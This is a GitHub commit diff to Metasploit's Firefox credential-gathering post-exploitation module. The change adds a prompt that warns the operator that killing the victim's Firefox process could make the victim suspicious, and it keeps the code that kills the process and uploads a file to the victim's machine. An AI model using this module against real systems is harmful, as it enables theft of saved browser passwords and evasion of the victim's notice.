Skip to content

Commit bc7066a

Browse files
committed
added user warnings
1 parent 182863f commit bc7066a

File tree

1 file changed

+30
-14
lines changed

1 file changed

+30
-14
lines changed

modules/post/multi/gather/firefox_creds.rb

Lines changed: 30 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616

1717
class Metasploit3 < Msf::Post
1818

19+
include Rex::Ui::Interactive
1920
include Msf::Post::File
2021
include Msf::Post::Common
2122
include Msf::Auxiliary::Report
@@ -75,11 +76,6 @@ def run
7576
end
7677

7778
if datastore['DECRYPT']
78-
print_line()
79-
print_warning("Please be aware of that if your session dies while file renaming,")
80-
print_warning("this could leave Firefox in a non working state. This option needs")
81-
print_warning("some extra time to accomplish the task.\n")
82-
8379
omnija = nil
8480
org_file = 'omni.ja'
8581
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
@@ -116,6 +112,7 @@ def run
116112
return
117113
end
118114
print_status("Uploading #{new_file} to #{@paths['ff']}")
115+
print_warning("This takes some extra time") if @platform =~ /unix|osx/
119116
if not upload_file(@paths['ff']+new_file, tmp)
120117
print_error("Could not upload #{new_file}")
121118
return
@@ -477,22 +474,34 @@ def trigger_decrypt(org_file, new_file)
477474
if session.type == "meterpreter"
478475
session.sys.process.each_process do |p|
479476
if p['name'] =~ /firefox\.exe/
480-
print_status("Found running Firefox process, attempting to kill.")
481-
if not session.sys.process.kill(p['pid'])
482-
print_error("Could not kill Firefox process")
483-
return false
477+
print_status("Found running Firefox process")
478+
continue = warn_user()
479+
if continue
480+
if not session.sys.process.kill(p['pid'])
481+
print_error("Could not kill Firefox process")
482+
return false
483+
end
484+
else
485+
file_rm(new_file)
486+
return false
484487
end
485488
end
486489
end
487490

488491
elsif session.type != "meterpreter"
489492
p = cmd_exec("ps", "cax | grep firefox")
490493
if p =~ /firefox/
491-
print_status("Found running Firefox process, attempting to kill.")
492-
term = cmd_exec("killall", "firefox && echo true")
493-
if not term =~ /true/
494-
print_error("Could not kill Firefox process")
495-
return false
494+
print_status("Found running Firefox process")
495+
continue = warn_user()
496+
if continue
497+
term = cmd_exec("killall", "firefox && echo true")
498+
if not term =~ /true/
499+
print_error("Could not kill Firefox process")
500+
return false
501+
end
502+
else
503+
file_rm(new_file)
504+
return false
496505
end
497506
end
498507
end
@@ -526,6 +535,13 @@ def trigger_decrypt(org_file, new_file)
526535

527536
end
528537

538+
def warn_user()
539+
print_warning("In order to proceed, the running Firefox process must be killed.")
540+
print_warning("Keep in mind that this leaves visual evidence on the victim machine and")
541+
print_warning("if the user is paying attention, this could make him/her suspicious.")
542+
return prompt_yesno("Do you want to continue?")
543+
end
544+
529545
def download_loot(paths)
530546
loot = ""
531547
paths.each do |path|

0 commit comments

Comments
 (0)